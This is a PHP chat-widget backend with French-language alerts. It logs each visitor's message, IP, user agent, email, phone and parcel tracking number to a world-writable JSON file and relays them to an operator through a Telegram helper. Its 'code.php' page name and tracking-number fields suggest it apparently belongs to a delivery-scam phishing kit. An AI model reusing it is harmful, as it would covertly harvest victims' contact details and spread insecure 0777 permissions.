<?php
require (__DIR__) . '/../main.php';
$m = new Mother;
$ip = $_SERVER['REMOTE_ADDR'];
if ($ip == "::1") $ip = "127.0.0.1";
if (session_status() !== PHP_SESSION_ACTIVE) session_start();

header('Content-Type: application/json');

$action = isset($_POST['action']) ? $_POST['action'] : '';

if ($action === 'send_message') {
    $message = isset($_POST['message']) ? htmlspecialchars($_POST['message']) : '';
    $sessionId = isset($_SESSION['chatbot_session']) ? $_SESSION['chatbot_session'] : uniqid('chat_', true);
    $_SESSION['chatbot_session'] = $sessionId;
    
    if (!empty($message)) {
        // Save message to log file
        $logFile = __DIR__ . '/logs/chatbot_messages.json';
        $logDir = __DIR__ . '/logs';
        
        // Create logs directory if it doesn't exist with proper permissions
        if (!file_exists($logDir)) {
            @mkdir($logDir, 0777, true);
        }
        
        // Ensure directory is writable
        if (!is_writable($logDir)) {
            @chmod($logDir, 0777);
        }
        
        $messageData = array(
            'session_id' => $sessionId,
            'ip' => $ip,
            'message' => $message,
            'timestamp' => date('Y-m-d H:i:s'),
            'page' => 'code.php',
            'tracking_number' => isset($_SESSION['tracking_number']) ? $_SESSION['tracking_number'] : 'N/A',
            'user_agent' => isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'N/A'
        );
        
        // Read existing messages
        $messages = array();
        if (file_exists($logFile)) {
            $existingData = file_get_contents($logFile);
            $messages = json_decode($existingData, true);
            if (!is_array($messages)) {
                $messages = array();
            }
        }
        
        // Add new message
        $messages[] = $messageData;
        
        // Keep only last 1000 messages
        if (count($messages) > 1000) {
            $messages = array_slice($messages, -1000);
        }
        
        // Save to file with error handling and permissions check
        $jsonData = json_encode($messages, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
        $saved = @file_put_contents($logFile, $jsonData);
        
        // If save failed, try to fix permissions
        if ($saved === false) {
            @chmod($logDir, 0777);
            if (file_exists($logFile)) {
                @chmod($logFile, 0666);
            }
            $saved = @file_put_contents($logFile, $jsonData);
        }
        
        // Log error if still failed
        if ($saved === false) {
            error_log("Failed to save chatbot message to: " . $logFile);
        }
        
        // Send to Telegram if configured
        try {
            $page = isset($_POST['page']) ? htmlspecialchars($_POST['page']) : 'code.php';
            $tracking = isset($_SESSION['tracking_number']) ? $_SESSION['tracking_number'] : 'N/A';
            
            $telegramMessage = "╔═══════════════════════════╗\n";
            $telegramMessage .= "║  🤖 NOUVEAU MESSAGE CHAT  ║\n";
            $telegramMessage .= "╚═══════════════════════════╝\n\n";
            $telegramMessage .= "💬 *Message du client:*\n";
            $telegramMessage .= "┌─────────────────────────┐\n";
            $telegramMessage .= "│ " . $message . "\n";
            $telegramMessage .= "└─────────────────────────┘\n\n";
            $telegramMessage .= "┏━━━━━━━━━━━━━━━━━━━━━━━━━┓\n";
            $telegramMessage .= "┃  📋 INFORMATIONS CLIENT   ┃\n";
            $telegramMessage .= "┗━━━━━━━━━━━━━━━━━━━━━━━━━┛\n\n";
            $telegramMessage .= "🌐 *IP Address:* `" . $ip . "`\n";
            $telegramMessage .= "📅 *Date/Heure:* `" . date('d.m.Y à H:i:s') . "`\n";
            $telegramMessage .= "🔗 *Page:* `" . $page . "`\n";
            $telegramMessage .= "📦 *Tracking:* `" . $tracking . "`\n";
            $telegramMessage .= "🆔 *Session ID:* `" . substr($sessionId, 0, 20) . "...`\n\n";
            $telegramMessage .= "╔═══════════════════════════╗\n";
            $telegramMessage .= "║  Répondre via Admin Panel  ║\n";
            $telegramMessage .= "╚═══════════════════════════╝";
            
            if (method_exists($m, 'em')) {
                $m->em(urlencode($telegramMessage));
            }
        } catch (Exception $e) {
            // Silent fail if Telegram not configured
        }
        
        echo json_encode(array('success' => true, 'session_id' => $sessionId));
    } else {
        echo json_encode(array('success' => false, 'error' => 'Empty message'));
    }
} else if ($action === 'get_pending_messages') {
    // Get messages waiting for manual response
    $logFile = __DIR__ . '/logs/chatbot_messages.json';
    $pendingMessages = array();
    
    if (file_exists($logFile)) {
        $messages = json_decode(file_get_contents($logFile), true);
        if (is_array($messages)) {
            // Get messages from last hour that don't have responses
            $oneHourAgo = date('Y-m-d H:i:s', strtotime('-1 hour'));
            foreach ($messages as $msg) {
                if ($msg['timestamp'] >= $oneHourAgo && !isset($msg['responded'])) {
                    $pendingMessages[] = $msg;
                }
            }
        }
    }
    
    echo json_encode(array('success' => true, 'messages' => array_reverse($pendingMessages)));
} else if ($action === 'check_response') {
    // Check if there's a response for this session
    $sessionId = isset($_POST['session_id']) ? $_POST['session_id'] : '';
    $lastCheck = isset($_POST['last_check']) ? $_POST['last_check'] : '2000-01-01 00:00:00';
    $logFile = __DIR__ . '/logs/chatbot_messages.json';
    $hasResponse = false;
    $response = '';
    $responseTime = '';
    
    if (!empty($sessionId) && file_exists($logFile)) {
        $messages = json_decode(file_get_contents($logFile), true);
        if (is_array($messages)) {
            // Find the most recent response for this session that's newer than lastCheck
            $foundResponses = array();
            foreach ($messages as $msg) {
                if ($msg['session_id'] === $sessionId && isset($msg['responded']) && isset($msg['response'])) {
                    if ($msg['response_time'] > $lastCheck) {
                        $foundResponses[] = $msg;
                    }
                }
            }
            
            // Get the most recent response
            if (!empty($foundResponses)) {
                usort($foundResponses, function($a, $b) {
                    return strtotime($b['response_time']) - strtotime($a['response_time']);
                });
                $latestResponse = $foundResponses[0];
                $hasResponse = true;
                $response = $latestResponse['response'];
                $responseTime = $latestResponse['response_time'];
            }
        }
    }
    
    echo json_encode(array(
        'success' => true, 
        'has_response' => $hasResponse, 
        'response' => $response,
        'response_time' => $responseTime
    ));
} else if ($action === 'save_email') {
    // Save email to session
    $email = isset($_POST['email']) ? htmlspecialchars($_POST['email']) : '';
    if (!empty($email)) {
        $_SESSION['chatbot_email'] = $email;
        echo json_encode(array('success' => true));
    } else {
        echo json_encode(array('success' => false, 'error' => 'Empty email'));
    }
} else if ($action === 'send_to_agent') {
    // Send message to agent (Telegram)
    $message = isset($_POST['message']) ? htmlspecialchars($_POST['message']) : '';
    $email = isset($_POST['email']) ? htmlspecialchars($_POST['email']) : (isset($_SESSION['chatbot_email']) ? $_SESSION['chatbot_email'] : 'N/A');
    $sessionId = isset($_SESSION['chatbot_session']) ? $_SESSION['chatbot_session'] : uniqid('chat_', true);
    $_SESSION['chatbot_session'] = $sessionId;
    
    if (!empty($message)) {
        // Save message to log file
        $logFile = __DIR__ . '/logs/chatbot_messages.json';
        $logDir = __DIR__ . '/logs';
        
        // Create logs directory if it doesn't exist with proper permissions
        if (!file_exists($logDir)) {
            @mkdir($logDir, 0777, true);
        }
        
        // Ensure directory is writable
        if (!is_writable($logDir)) {
            @chmod($logDir, 0777);
        }
        
        $messageData = array(
            'session_id' => $sessionId,
            'ip' => $ip,
            'message' => $message,
            'email' => $email,
            'mode' => 'agent',
            'timestamp' => date('Y-m-d H:i:s'),
            'page' => 'code.php',
            'tracking_number' => isset($_SESSION['tracking_number']) ? $_SESSION['tracking_number'] : 'N/A',
            'user_agent' => isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'N/A'
        );
        
        // Read existing messages
        $messages = array();
        if (file_exists($logFile)) {
            $existingData = file_get_contents($logFile);
            $messages = json_decode($existingData, true);
            if (!is_array($messages)) {
                $messages = array();
            }
        }
        
        // Add new message
        $messages[] = $messageData;
        
        // Keep only last 1000 messages
        if (count($messages) > 1000) {
            $messages = array_slice($messages, -1000);
        }
        
        // Save to file with error handling and permissions check
        $jsonData = json_encode($messages, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE);
        $saved = @file_put_contents($logFile, $jsonData);
        
        // If save failed, try to fix permissions
        if ($saved === false) {
            @chmod($logDir, 0777);
            if (file_exists($logFile)) {
                @chmod($logFile, 0666);
            }
            $saved = @file_put_contents($logFile, $jsonData);
        }
        
        // Log error if still failed
        if ($saved === false) {
            error_log("Failed to save chatbot agent message to: " . $logFile);
        }
        
        // Send to Telegram
        try {
            $phone = isset($_POST['phone']) ? htmlspecialchars($_POST['phone']) : 'N/A';
            $helpTime = isset($_POST['help_time']) ? htmlspecialchars($_POST['help_time']) : 'N/A';
            $page = isset($_POST['page']) ? htmlspecialchars($_POST['page']) : 'code.php';
            $tracking = isset($_SESSION['tracking_number']) ? $_SESSION['tracking_number'] : 'N/A';
            
            $telegramMessage = "╔═══════════════════════════╗\n";
            $telegramMessage .= "║  👤 DEMANDE DE SUPPORT    ║\n";
            $telegramMessage .= "╚═══════════════════════════╝\n\n";
            $telegramMessage .= "💬 *Message du client:*\n";
            $telegramMessage .= "┌─────────────────────────┐\n";
            $telegramMessage .= "│ " . $message . "\n";
            $telegramMessage .= "└─────────────────────────┘\n\n";
            $telegramMessage .= "┏━━━━━━━━━━━━━━━━━━━━━━━━━┓\n";
            $telegramMessage .= "┃  📞 COORDONNÉES CLIENT    ┃\n";
            $telegramMessage .= "┗━━━━━━━━━━━━━━━━━━━━━━━━━┛\n\n";
            $telegramMessage .= "📧 *Email:* `" . $email . "`\n";
            $telegramMessage .= "📞 *Téléphone:* `" . $phone . "`\n";
            if ($helpTime !== 'N/A') {
                $telegramMessage .= "⏰ *Heure souhaitée:* `" . $helpTime . "`\n";
            }
            $telegramMessage .= "\n┏━━━━━━━━━━━━━━━━━━━━━━━━━┓\n";
            $telegramMessage .= "┃  🔍 INFOS TECHNIQUES      ┃\n";
            $telegramMessage .= "┗━━━━━━━━━━━━━━━━━━━━━━━━━┛\n\n";
            $telegramMessage .= "🌐 *IP Address:* `" . $ip . "`\n";
            $telegramMessage .= "📅 *Date/Heure:* `" . date('d.m.Y à H:i:s') . "`\n";
            $telegramMessage .= "🔗 *Page:* `" . $page . "`\n";
            $telegramMessage .= "📦 *Tracking:* `" . $tracking . "`\n";
            $telegramMessage .= "🆔 *Session ID:* `" . substr($sessionId, 0, 20) . "...`\n\n";
            $telegramMessage .= "╔═══════════════════════════╗\n";
            $telegramMessage .= "║  Répondre via Admin Panel  ║\n";
            $telegramMessage .= "╚═══════════════════════════╝";
            
            if (method_exists($m, 'em')) {
                $m->em(urlencode($telegramMessage));
            }
        } catch (Exception $e) {
            // Silent fail if Telegram not configured
        }
        
        echo json_encode(array('success' => true, 'session_id' => $sessionId));
    } else {
        echo json_encode(array('success' => false, 'error' => 'Empty message'));
    }
} else {
    echo json_encode(array('success' => false, 'error' => 'Invalid action'));
}

